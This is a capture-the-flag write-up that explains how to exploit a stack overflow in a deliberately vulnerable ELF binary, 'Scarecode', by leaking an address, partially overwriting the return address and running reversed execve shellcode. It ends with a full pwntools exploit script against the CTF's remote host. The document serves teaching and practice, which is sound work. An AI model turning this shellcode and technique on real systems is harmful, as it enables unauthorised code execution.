- Category: Binary Exploitation
- Target: Stripped 64-bit ELF
- Protections: PIE, ASLR, NX effectively bypassed by executing stack, no canary in vulnerable path
- Goal: Gain code execution, spawn shell, read flag.txt
Recon: First Interaction
Running the binary shows a looped prompt:
- “Welcome to Scarecode!”
- “Trick or treat? (q to quit)”
Two commands matter:
- trick: asks for a name, then prints a spooky reversed greeting.
- treat: prints a pointer-looking hex value.
This strongly hints at a leak-then-overflow flow: leak an address via treat, then exploit trick.
Reverse Engineering Highlights (from the stripped binary)
After disassembly/RE, the important routines look like this:
void trick() {
    printf("Trick you say?, tell me your name\n");
    char name[100];
    scanf("%s", name);          // unbounded read into 100-byte stack buffer
    size_t len = strlen(name);
    for (size_t i = 0; i < len / 2; i++) {
        char tmp = name[i];
        name[i] = name[len - i - 1];
        name[len - i - 1] = tmp;
    }
    printf("OOOoooo... %s ...\n", name);
}
Key findings:
- scanf("%s", name)is unsafe: no bound; it can overflow- nameand smash saved RIP.
- Before returning, the buffer is reversed in place. This is the core twist: your input bytes are mirrored on the stack just before trickreturns.
The self-leak routine:
void treat() {
    printf("Have the address of main, as a treat! %p\n", main);
}
And a handy two-instruction gadget compiled from an inline asm helper (you won’t know its symbol name in the stripped binary, but you can find the pattern):
void boo() {
    __asm__("sub $0x10, %rsp");
    __asm__("jmp *%rsp");
}
Main keeps prompting, letting us call treat and trick in any order:
int main() {
    printf("Welcome to Scarecode!\n");
    while (1) {
        printf("Trick or treat? (q to quit)\n");
        char input[100];
        scanf("%99s", input);
        if (strcmp(input, "trick") == 0 || strcmp(input, "Trick") == 0 || strcmp(input, "TRICK") == 0) {
            trick();
        } else if (strcmp(input, "treat") == 0 || strcmp(input, "Treat") == 0 || strcmp(input, "TREAT") == 0) {
            treat();
        } else {
            printf("Neither trick nor treat, you say? Well, that's not very festive.\n");
            return 1;
        }
    }
}
Plan of Attack
- Use treatto leak the runtime address ofmain.
- Compute PIE base: base = leak(main) - MAIN_OFFSET(I measuredMAIN_OFFSET = 0x10e0for my build; verify yours with RE).
- Locate the two-instruction gadget sub rsp, 0x10; jmp *%rsp(found at file VA offset0x13e4for me). The runtime address isjmp_rsp = base + 0x13e4.
- Overflow via trickto replace saved RIP withjmp_rspand place trampoline + shellcode on the stack.
- Compensate for the in-place reversal by pre-reversing our bytes before sending.
Why a Classic ROP Chain Is Painful Here
- %sinput forbids null bytes:- scanf("%s", ...)stops at the first- \x00; anything after a zero never reaches the stack.
- All of our 64-bit addresses within the binary are going to contain \x00in their high bytes due to canonical addressing and PIE base alignment.
- A traditional ROP chain requires several packed 8-byte addresses and argument words; avoiding all zeros across all entries is brittle or impossible without elaborate encodings.
 
Partial Overwrite: Still Enough for the First Jump
We don’t need a full ROP chain. We just need the first controlled transfer to our own code on the stack. Two observations enable this:
- Partial pointer overwrite suffices on x86_64:
- Saved RIP is 8 bytes, but in practice we can overwrite just the lower 6 bytes with %s-friendly data. The top two bytes remain as they were.
- Because our gadget lives in the same mapped module as the original return address (same PIE segment), the top bytes match, so replacing only the low 6 bytes correctly redirects control.
- In code, that’s akin to using p64(jmp_rsp)[:6]when building the payload. We then reverse those 6 bytes before sending so that after the program’s reversal, the in-memory order is the correct little-endian address.
 
- Saved RIP is 8 bytes, but in practice we can overwrite just the lower 6 bytes with 
- Trampoline instead of chain:
- We point RIP to the gadget sub rsp, 0x10; jmp *%rsp.
- At the landing spot, we place a 2-byte instruction jmp short -0x64(\xEB\x9C) so execution hops back into our NOP sled and shellcode.
- This avoids long sequences of addresses and arguments. It’s just: overwrite RIP once, land on a short jump, then run raw shellcode.
 
- We point RIP to the gadget 
This approach neatly sidesteps the ROP chain problem: only one address must be placed (the gadget), and it’s feasible with a 6-byte partial overwrite that avoids nulls. Everything else is position-relative shellcode under our control.
Shellcode Layout and Reversal Compensation
Intended in-memory view at return (post-reversal):
- [saved RIP]= address of- sub rsp, 0x10; jmp *%rsp(our gadget)
- [%rsp]at gadget landing =- jmp short -0x64(2 bytes) to jump back
- [%rsp - 0x64]= NOP sled +- sub rsp, 0x64+- execve("/bin//sh")shellcode + NOPs
Because trick reverses input, we pre-reverse both:
- The 6-byte little-endian gadget address bytes (so that post-reversal the address is correct).
- The entire shellcode block (so that post-reversal the bytes read in the intended order).
I also add sub rsp, 0x64 ahead of the execve shellcode to move the stack away from our own bytes so any pushes or writes don’t corrupt the code we’re executing.
End-to-End Exploit Flow
- Run program; send treat.
- Parse leak: main_leak = int(hex_str, 16).
- Compute base: base = main_leak - 0x10e0(verify yourMAIN_OFFSET).
- Compute gadget VA: jmp_rsp = base + 0x13e4(verify your gadget offset).
- Build shellcode block:
- NOP sled + sub rsp, 0x64+ 64-bitexecve("/bin//sh")+ NOPs
- Append 2-byte jmp short -0x64at the top landing
 
- NOP sled + 
- Reverse the shellcode bytes.
- Take p64(jmp_rsp)[:6], reverse those 6 bytes.
- Construct overflow: [reversed 6-byte RIP] + [reversed shellcode] + [extra NOPs to fill]
- Send trick, then send the payload as the name.
- On return, control flows: RIP -> gadget -> short jmp -> shellcode -> shell.
Once shell is up, cat flag.txt.
Practical Notes and Pitfalls
- Ensure no \x00appears in the transmitted payload region that will be reversed;%swould stop early, andstrlenwould reduce the reversal range.
- Always pre-reverse multi-byte values and the entire shellcode block to account for the in-place reversal.
- The partial overwrite relies on the high two bytes of the saved RIP being compatible with your target gadget (same mapping). Leaking mainand using consistent build/remote binary ensures this.
- Short jmp distance (0x64) is arbitrary but convenient; keep it small and consistent.
Solve Script
#!/usr/bin/env python3
import pwn
from pwn import *
import sys
# Configuration
BINARY_PATH = "./scarecode"
REMOTE_HOST = "kubenode.mctf.io"
REMOTE_PORT = 31083
context.binary = BINARY_PATH
def create_shellcode():
    # Shellcode to jump backwards 100 bytes (0x64)
    # Assembly:
    #   jmp short -0x64
    # In bytes: \xeb\x9c
    jmp_backwards = b'\xeb\x9c'
    execve_shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #https://www.exploit-db.com/exploits/46907
    # Move stack down far away so that our push to the stack doesn't modify our code
    sub_rsp = asm('sub rsp, 0x64') 
    execve_shellcode = sub_rsp + execve_shellcode
    #Add padding to our shellcode to help align everything
    complete_shellcode = b'\x90' * (100 - len(execve_shellcode)) + execve_shellcode + b'\x90' * (20 - len(jmp_backwards)) + jmp_backwards
    return complete_shellcode
def exploit():
    # Load binary
    binary = ELF(BINARY_PATH)
    
    jmp_rsp = 0x13e4 #Found with ROPgadget, sub $0x10, %rsp; jmp *%rsp
    # Start process
    #p = process(BINARY_PATH, level='debug')
    p = remote(REMOTE_HOST, REMOTE_PORT, level='debug')
    try:
        # Step 1: Get main address leak
        print("[+] Getting main address leak...")
        p.sendlineafter(b"Trick or treat? (q to quit)\n", b"treat")
        leak_line = p.recvline()
        print(f"[+] Received: {leak_line}")
        
        # Parse the leak
        leak_str = leak_line.decode().split("Have the address of main, as a treat! ")[1].strip()
        main_addr = int(leak_str, 16)
        print(f"[+] Main address: {hex(main_addr)}")
        
        # Calculate binary base
        main_offset = 0x10e0
        binary_base = main_addr - main_offset
        jmp_rsp = jmp_rsp + binary_base
        print(f"[+] Binary base: {hex(binary_base)}")
        print(f"[+] jmp *%rsp gadget address: {hex(jmp_rsp)}")
        # Step 2: Create payload
        print("[+] Creating payload...")
        
        shellcode = create_shellcode()
        shellcode = shellcode[::-1]
        print(f"[+] Reversed shellcode: {shellcode.hex()}")
        return_addr = p64(jmp_rsp)[:6][::-1]
        print(f"[+] return address: {return_addr.hex()}")
        payload = return_addr + shellcode + b'\x90' * (120 - len(shellcode))
        print(f"[+] Payload length: {len(payload)}")
        
        # Step 3: Send payload
        print("[+] Sending payload...")
        p.sendlineafter(b"Trick or treat? (q to quit)\n", b"trick")
        p.sendline(payload)
        
        # Step 4: Interact
        print("[+] Attempting to get shell...")
        p.interactive()
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    finally:
        p.close()
    
    return True
def main():
    exploit()
if __name__ == "__main__":
    main()